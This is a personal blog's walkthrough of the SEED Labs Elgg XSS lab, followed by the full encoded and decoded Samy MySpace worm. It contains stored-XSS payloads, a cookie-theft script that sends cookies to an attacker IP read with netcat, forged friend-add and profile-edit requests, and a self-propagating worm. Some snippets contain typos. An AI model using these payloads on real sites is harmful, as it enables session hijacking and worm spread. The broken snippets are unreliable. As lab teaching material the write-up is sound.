XSS Attack

XSS Attack

Brief

The tasks are based on a web application called ELGG which is open source. It is designed to be like an open source version of Facebook or myspace. The prebuilt vm called seedubuntu is used to host the web application and there are a few users already created. Logging in to the web app will be done from a different vm on the same virtual box network.

Task 1 : Post a malicious message to display an alert window

The web app is hosted on seedubuntu vm and ubuntu vm is used to create a new account user11. To make the web app visible as a site named www.xsslabelgg.com, add a name and IP address parameter on the ubuntu vm’s hosts file. Log into the account user11. Go to about me section. This section allows adding ‘about me’ information to our profiles. By default the editor provided is a rich text editor which adds extra text to whatever is inside. This is counterproductive to the attack therefore this editor is removed and the plain text editor is used. The section is used to add javascript code inside it -

<script>alert('XSS');</script>

On saving this an alert is displayed on the page. The web app sees the text inside the box to show it o nthe browser but since it is a js code, it gets executed. When some other user, say alice, tries to view the profile of use11, her webpage also gives the alert window.

Task 2 : Posting a malicious message to display cookies

This is along the same lines as the previous task and does similar thing except the new code that is put inside the about me section now displays the cookie. The new code is -

<script>alert(document.cookie);</script>

This displays the cookie of user11 when saved. On reloading too it does the same. When a separate user say alice navigates to user11’s account, her own cookie gets displayed. By design, the browser does not display the code, it runs it.

Task 3 : Stealing cookies from the victim’s machine

This attack focuses on providing code in the ‘about me’ section such that the attacker can obtain the cookie without having to be preset when the account of user11 is visited. For this the attacker injects a code that basically is a GET request for an image and also adds the cookie of the victim in the url itself.

<script>document.write('<img src=http://192.168.56.4:1234?c='+escape(document.cookie)+'  >');</script>

The IP address for the http part is the attacker’s IP address. On the attacker machine we can listen o the specified port using netcat or any other means.

nc -l -p 1234

The next time someone on the web application, say alice visits the profile of user11, the code gets executed and the attacker gains the cookie for himself. The nc output seems like -

GET /?c=Elgg%3Dtlgbp3diifsf0007299puq2kr1 HTTP/1.1
Host: 192.168.56.4:1234
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

The cookie starts after %3D.

Task 4 : session hijacking using the stolen cookies

This task is about stealing the session of a legitimate user by using their cookie and then add the victim as a friend. To do this the process of adding a friend has to be known to the attacker. Therefore, the attacker creates another account say samy. This account can be added as a friend to user11’s account to observe the process of adding a friend. The attacker logs in to the account of samy and visits user11. Then he enables the inspect mode of the browser to watch the requests ad cookies as he adds user11 as a friend to samy. The friend addig process then shows a GET request -

http://www.xsslabelgg.com/action/friends/add?friend=43&__elgg_ts=152022381&__elgg_token=f0aaab1d9af23flb3lb876bfa5640cel

Also, the cookie is sent as a part of the request header. Therefore, the 3 important things noted are -

  1. the friend=43 part which specifies the umber associated with the user11 account.
  2. the cookie sent as a part of request header.
  3. the two parts __elgg_ts and __elgg_token which are tokens used as a countermeasure against the cross site request forgery attack. The above have to be found and can also be found on the view-source page of the website. The two tokens are stored in variables as mentioned above and since they are different for every web user, even if the attacker does not know the tokens of user alice, the name of the two token variables can be used to call the values. The response part for the request under inspect element can help locate these variables being used as - elgg.security.token.__elgg_ts and elgg.security.token.__elgg_token. Using these variables, the attack code can be formed. Use of cookie retrieval technique to retrieve the two tokens as well.
    <script>document.write('<img src=http://192.168.56.4:1234?c='+elgg.security.token.__elgg_ts+'&'+elgg.security.token.__elgg_token+'  >');</script>
    

    The nc output seems like this -

    GET /?c=1520227817&0fab54e97b2fa75c39d298de602a5939 HTTP/1.1
    Host: 192.168.56.4:1234
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    

    The tokens are separated by the &. If the web app does not match passwords (or the case when we have the password of the intended victim), we can simply use a python script to use the authentication and use requests module to send a GET request and the attack will have been executed. The code will take the input from the nc command and the output of nc command can be split into sections to get the required cookies and the tokens. Then the script can be used to send a request to the desired link using the HTTPBasicAuth module and the cookies and parameters set along with the GET request. This can be used in cases when the script file we make is bigger than the allowed number of characters inside the text box that has the vulnerability.

To actually make other accounts execute the malicious code that can trigger them making the attacker their friend, the code needs to be in the same place where the previous codes to obtain cookie and the tokens were placed. This is the case when the password of the victim is not held with the attacker.

For this we can use the following code in javascript using AJAX and then store it into the ‘about me’ section of user11. The code is as follows -

<script type="text/javascript">
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=43"+ts+token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Referer","http://www.xsslabelgg.com/profile/user11");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
</script>

This code forms the GET request to duplicate the add friend action of the web app. When the victim say alice views the homepage of the attacker user11, her browser will read this code and execute the javascript inside the tags. Since the user alice is logged in while the code is executed, the attack will run smoothly and user11 will be added to the friend list of alice.

Task 5 : Writing an XSS worm

This task is about coding a worm which can change the information of an account in the web app. This requires the analysis of changing the ‘about me’ section in the web app. The attacker user11 uses the other account samy to update the ‘about me’ section to study the process. The ‘inspect element’ reveals that the process is a POST request which requires few parameters from the document. These parameters are specific to the session and the user, therefore, searching the parameters in the document, they are set as follows -

  1. timestamp and token i.e., __elgg_ts and __elgg_token are stored in the document under elgg.security.token section in the html document.
  2. user name of the session user is in JSON format variable called elgg.session.user.
  3. guid of the session user is also in the elgg.session.user section.
  4. the parameter description is the one that specifies what data is stored in the text field of the ‘about me’ section.
  5. the description parameter has a control access field called accesslevel[description] which is 2 for private users, 1 for friends, 0 for others - has to be set to 2 always for changing the data in the ‘about me’ section.

The objective is to write a javascript code in the ‘about me’ section of user11 such that when someone visits the profile of user11, the status as required by user11 which is also set on his own account will be set on the account of the one who visits user11’s page. The javascript code must contain the post request required to proceed with the changing of the text in the ‘about me’ section. The code is as follows -

<script type="text/javascript">
var sendurl="http://www.xsslabelgg.com/action/profile/edit";
var ts=elgg.security.token__elgg_ts;
var token=elgg.security.token.__elgg_token;
ff=new XMLHttpRequest();
ff.open("POST",sendurl,true);
ff.setRequestHeader("Host","www.xsslabelgg.com");
ff.setRequestHeader("Keep-Alive","300");
ff.setRequestHeader("Connection","keep-alive");
ff.setRequestHeader("Cookie",document.cookie);
ff.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ff.setRequestHeader("Referer","http://www.xsslabelgg.com/profile/"+elgg.session.user["username"]+"/edit");
params="__elgg_ts="+ts+"&__elgg_token="+token+"&description=User-11-is-great"+"&name="+elgg.session.user["username"]+"&accesslevel[description]=2&guid="+elgg.session.user["guid"];
ff.send(params);

The above code will first change the user11’s ‘about me’ portion to “User-11-is-great”. Therefore, this will not affect others who view this profile. However, considering we have access to the server (the server has been hacked in our favor), then this script can be embedded in the server website hosting folder, from where it can be sourced like the image format to obtain the cookie and tokens. This way when any user visits the infected profile, the script will get loaded due to the image format js code in the infected profile. Also, this method can be used to change the contents of a user by forming a request using python or any other programming language (assuming the authentication parameters are already with the attacker). The best possible attack for a web app like this one which is vulnerable to XSS is using a proper worm i.e., self propagating worm.

Task 6 : Creating a self propagating worm

The parts of adding the attacker as a friend as well as posting on the victim’s account, without the victim’s consent can be combined into one javascript code and then made self propagating.

The process of self propagating sees the following approach - The code will have to be replicated by the code itself. This can be done by using the POST method as described in Task 5. The method to do the following is -

<script id="daut" type="text/javascript">
var replicate="<script id=\"daut\" type=\"text/javascript\">".concat(document.getElementByID("daut").innerHTML).concat("</").concat("script>");
...............
</script>

The breakup of </ and script> is required as the browser may distinguish it as the ending tag for the first <script>.

This approach can be merged with the POST exploit to copy the required update and the code itself onto the victim’s account. The transfer of all code and data in the web takes place through URLencoding in which + denotes a <space>. Therefore, instead of using + to add strings (concatenation), we use the concat() function. Also if there are any addition operations, they should be done using a+b = a-(-b) method.

The code clubbed with the POST exploit is as follows -

<script id="daut" type="text/javascript">
var sp="<script id=\"daut\" type=\"text/javascript\">".concat(document.getElementByID("daut").innerHTML).concat("</").concat("script>");
var sendurl="http://www.xsslabelgg.com/action/profile/edit";
var ts=elgg.security.token__elgg_ts;
var token=elgg.security.token.__elgg_token;
ff=new XMLHttpRequest();
ff.open("POST",sendurl,true);
ff.setRequestHeader("Host","www.xsslabelgg.com");
ff.setRequestHeader("Keep-Alive","300");
ff.setRequestHeader("Connection","keep-alive");
ff.setRequestHeader("Cookie",document.cookie);
ff.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ff.setRequestHeader("Referer","http://www.xsslabelgg.com/profile/".concat(elgg.session.user["username"]).concat("/edit"));
params="__elgg_ts=".concat(ts).concat("&__elgg_token=").concat(token).concat("&description=User-11-is-great").concat(escape(sp)).concat("&name=").concat(elgg.session.user["username"]).concat("&accesslevel[description]=2&guid=").concat(elgg.session.user["guid"]);
ff.send(params);

The escape() function converts the inner strings to URLencoding for http transfer. Now when a user views the profile of user11, the user’s account will have its ‘about me’ section set to “User-11-is-great”. Also the code itself will be copied to the user’s page. Also now since the code is in the user’s page, whenever a user views the account of this user, the code will get executed and the new user will also have his account modified. The add friend exploit can also e added to the above code as a new XMLHttpRequest part. That code will become the exact replica of the famous Samy’s worm attack of 2005.

Task 7 : Countermeasures

Elgg does have a built in countermeasures to defend against the XSS attack. The countermeasures have been deactivated and commented out to make the attack work. There is a custom built security plugin HTMLawed 1.8 on the Elgg web application which on activation, validates the user input and removes the tags from the input. This specific plugin is registered to the function filter_tags in the elgg/ engine/lib/input.php file. To turn on the countermeasure, we login to the application as admin, goto administration -> plugins, and select security and spam in the dropdown menu. The HTMLawed 1.8 plugin is below. This can now be activated. In addition to this, there is another built-in PHP method called htmlspecialchars(), which is used to encode the special characters in the user input, such as encoding "<" to &lt, ">" to &gt, etc. Go to the directory elgg/views/default/output and find the function call htmlspecialchars in text.php, tagcloud.php, tags.php, access.php, tag.php, friendlytime.php, url.php, dropdown.php, email.php and confirmlink.php files. Uncomment the corresponding htmlspecialchars function calls in each file.

The above was a detailed description of an XSS attack taking examples from the real world Samy’s Worm attack.

Samy’s Worm Encoded

<div id=mycode style="BACKGROUND: url('java 
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Samy’s Worm Decoded

/*
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="
*/
var B_doubleQuote = String.fromCharCode(34);
var A_singleQuote = String.fromCharCode(39);

function g_getSelfHTML() {
  var C_html;
  try {
    var D_range = document.body.createTextRange();
    C_html = D_range.htmlText
  } catch (e) {}
  if (C_html) {
    return C_html
  } else {
    return eval('document.body.inne' + 'rHTML')
  }
}

function getData(AU_responseHTML) {
  M_friendID = getFromURL(AU_responseHTML, 'friendID');
  F_myToken = getFromURL(AU_responseHTML, 'Mytoken')
}

function getQueryParams() {
  var E_queryString = document.location.search;
  var F_queryParams = E_queryString.substring(1, E_queryString.length).split('&');
  var AS_params = new Array();
  for (var O_i = 0; O_i < F_queryParams.length; O_i++) {
    var I_param = F_queryParams[O_i].split('=');
    AS_params[I_param[0]] = I_param[1]
  }
  return AS_params
}

var J_xmlhttp1;
var AS_params = getQueryParams();
var L_myToken = AS_params['Mytoken'];
var M_friendID = AS_params['friendID'];
if (location.hostname == 'profile.myspace.com') {
  document.location = 'http://www.myspace.com' + location.pathname + location.search
} else {
  if (!M_friendID) {
    getData(g_getSelfHTML())
  }
  main()
}

function getClientFID() {
  return findIn(g_getSelfHTML(), 'up_launchIC( ' + A_singleQuote, A_singleQuote)
}

function nothing() {}

function paramsToString(AV_params) {
  var N_string = new String();
  var O_i = 0;
  for (var P_paramName in AV_params) {
    if (O_i > 0) {
      N_string += '&'
    }
    var Q_escapedParamValue = escape(AV_params[P_paramName]);
    while (Q_escapedParamValue.indexOf('+') != -1) {
      Q_escapedParamValue = Q_escapedParamValue.replace('+', '%2B')
    }
    while (Q_escapedParamValue.indexOf('&') != -1) {
      Q_escapedParamValue = Q_escapedParamValue.replace('&', '%26')
    }
    N_string += P_paramName + '=' + Q_escapedParamValue;
    O_i++
  }
  return N_string
}

function httpSend(BH_uri, BI_function, BJ_method, BK_contents) {
  if (!J_xmlhttp1) {
    return false
  }
  eval('J_xmlhttp1.onr' + 'eadystatechange=BI_function');
  J_xmlhttp1.open(BJ_method, BH_uri, true);
  if (BJ_method == 'POST') {
    J_xmlhttp1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    J_xmlhttp1.setRequestHeader('Content-Length', BK_contents.length)
  }
  J_xmlhttp1.send(BK_contents);
  return true
}

function findIn(BF_html, BB_head, BC_tail) {
  var R_indexHead = BF_html.indexOf(BB_head) + BB_head.length;
  var S_string = BF_html.substring(R_indexHead, R_indexHead + 1024);
  return S_string.substring(0, S_string.indexOf(BC_tail))
}

function getHiddenParameter(BF_html, BG_paramName) {
  return findIn(BF_html, 'name=' + B_doubleQuote + BG_paramName + B_doubleQuote + ' value=' + B_doubleQuote, B_doubleQuote)
}

function getFromURL(BF_html, BG_paramName) {
  var T_tail;
  if (BG_paramName == 'Mytoken') {
    T_tail = B_doubleQuote
  } else {
    T_tail = '&'
  }
  var U_head = BG_paramName + '=';
  var V_indexHead = BF_html.indexOf(U_head) + U_head.length;
  var W_string = BF_html.substring(V_indexHead, V_indexHead + 1024);
  var X_indexTail = W_string.indexOf(T_tail);
  var Y_paramValue = W_string.substring(0, X_indexTail);
  return Y_paramValue
}

function getXMLObj() {
  var Z_xmlhttp = false;
  if (window.XMLHttpRequest) {
    try {
      Z_xmlhttp = new XMLHttpRequest()
    } catch (e) {
      Z_xmlhttp = false
    }
  } else if (window.ActiveXObject) {
    try {
      Z_xmlhttp = new ActiveXObject('Msxml2.XMLHTTP')
    } catch (e) {
      try {
        Z_xmlhttp = new ActiveXObject('Microsoft.XMLHTTP')
      } catch (e) {
        Z_xmlhttp = false
      }
    }
  }
  return Z_xmlhttp
}

var AA_selfHTML = g_getSelfHTML();
var AB_indexHeadOfSelfPayload = AA_selfHTML.indexOf('m' + 'ycode');
var AC_string = AA_selfHTML.substring(AB_indexHeadOfSelfPayload, AB_indexHeadOfSelfPayload + 4096);  // Length of unformatted self code is 4015.
var AD_indexTailOfSelfPayload = AC_string.indexOf('D' + 'IV');
var AE_selfPayload = AC_string.substring(0, AD_indexTailOfSelfPayload);
var AF_payload;
if (AE_selfPayload) {
  AE_selfPayload = AE_selfPayload.replace('jav' + 'a', A_singleQuote + 'jav' + 'a');
  AE_selfPayload = AE_selfPayload.replace('exp' + 'r)', 'exp' + 'r)' + A_singleQuote);
  AF_payload = ' but most of all, samy is my hero. <d' + 'iv id=' + AE_selfPayload + 'D' + 'IV>'
}
var AG_heroes;

function getHome() {
  if (J_xmlhttp1.readyState != 4) {
    return
  }
  var AU_responseHTML = J_xmlhttp1.responseText;
  AG_heroes = findIn(AU_responseHTML, 'P' + 'rofileHeroes', '</td>');
  AG_heroes = AG_heroes.substring(61, AG_heroes.length);
  if (AG_heroes.indexOf('samy') == -1) {
    if (AF_payload) {
      AG_heroes += AF_payload;
      var AR_myToken = getFromURL(AU_responseHTML, 'Mytoken');
      var AS_params = new Array();
      AS_params['interestLabel'] = 'heroes';
      AS_params['submit'] = 'Preview';
      AS_params['interest'] = AG_heroes;
      J_xmlhttp1 = getXMLObj();
      httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' + AR_myToken, postHero, 'POST', paramsToString(AS_params))
    }
  }
}

function postHero() {
  if (J_xmlhttp1.readyState != 4) {
    return
  }
  var AU_responseHTML = J_xmlhttp1.responseText;
  var AR_myToken = getFromURL(AU_responseHTML, 'Mytoken');
  var AS_params = new Array();
  AS_params['interestLabel'] = 'heroes';
  AS_params['submit'] = 'Submit';
  AS_params['interest'] = AG_heroes;
  AS_params['hash'] = getHiddenParameter(AU_responseHTML, 'hash');
  httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' + AR_myToken, nothing, 'POST', paramsToString(AS_params))
}

function main() {
  var AN_clientFID = getClientFID();
  var BH_uri = '/index.cfm?fuseaction=user.viewProfile&friendID=' + AN_clientFID + '&Mytoken=' + L_myToken;
  J_xmlhttp1 = getXMLObj();
  httpSend(BH_uri, getHome, 'GET');
  xmlhttp2 = getXMLObj();
  httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken=' + L_myToken, processxForm, 'GET')
}

function processxForm() {
  if (xmlhttp2.readyState != 4) {
    return
  }
  var AU_responseHTML = xmlhttp2.responseText;
  var AQ_hashcode = getHiddenParameter(AU_responseHTML, 'hashcode');
  var AR_myToken = getFromURL(AU_responseHTML, 'Mytoken');
  var AS_params = new Array();
  AS_params['hashcode'] = AQ_hashcode;
  AS_params['friendID'] = '11851658';  // Samy Kamkar's friendID
  AS_params['submit'] = 'Add to Friends';
  httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' + AR_myToken, nothing, 'POST', paramsToString(AS_params))
}

function httpSend2(BH_uri, BI_function, BJ_method, BK_contents) {
  if (!xmlhttp2) {
    return false
  }
  eval('xmlhttp2.onr' + 'eadystatechange=BI_function');
  xmlhttp2.open(BJ_method, BH_uri, true);
  if (BJ_method == 'POST') {
    xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xmlhttp2.setRequestHeader('Content-Length', BK_contents.length)
  }
  xmlhttp2.send(BK_contents);
  return true
}
/*
"></DIV>
*/

The above is a documentation of a lab experiment by the name XSS attack lab (Elgg) from publicly available seed labs by Syracuse University.
Seed Labs Copyright © Wenliang Du, Syracuse University. I do not own any software mentioned in the above document.




About

Welcome to 0x1.gitlab.io my personal blog to share my knowledge
Cyber Security, Ethical Hacking, Web & Network Auditing, Reverse Engineering and Cryptography
Website semi-configured to use with No-Script. No ADS and No use analytics tracking.


Contact

Forum : @0x1


© 0x1 | Cyber Security Consulting - Copyright All Rights Reserved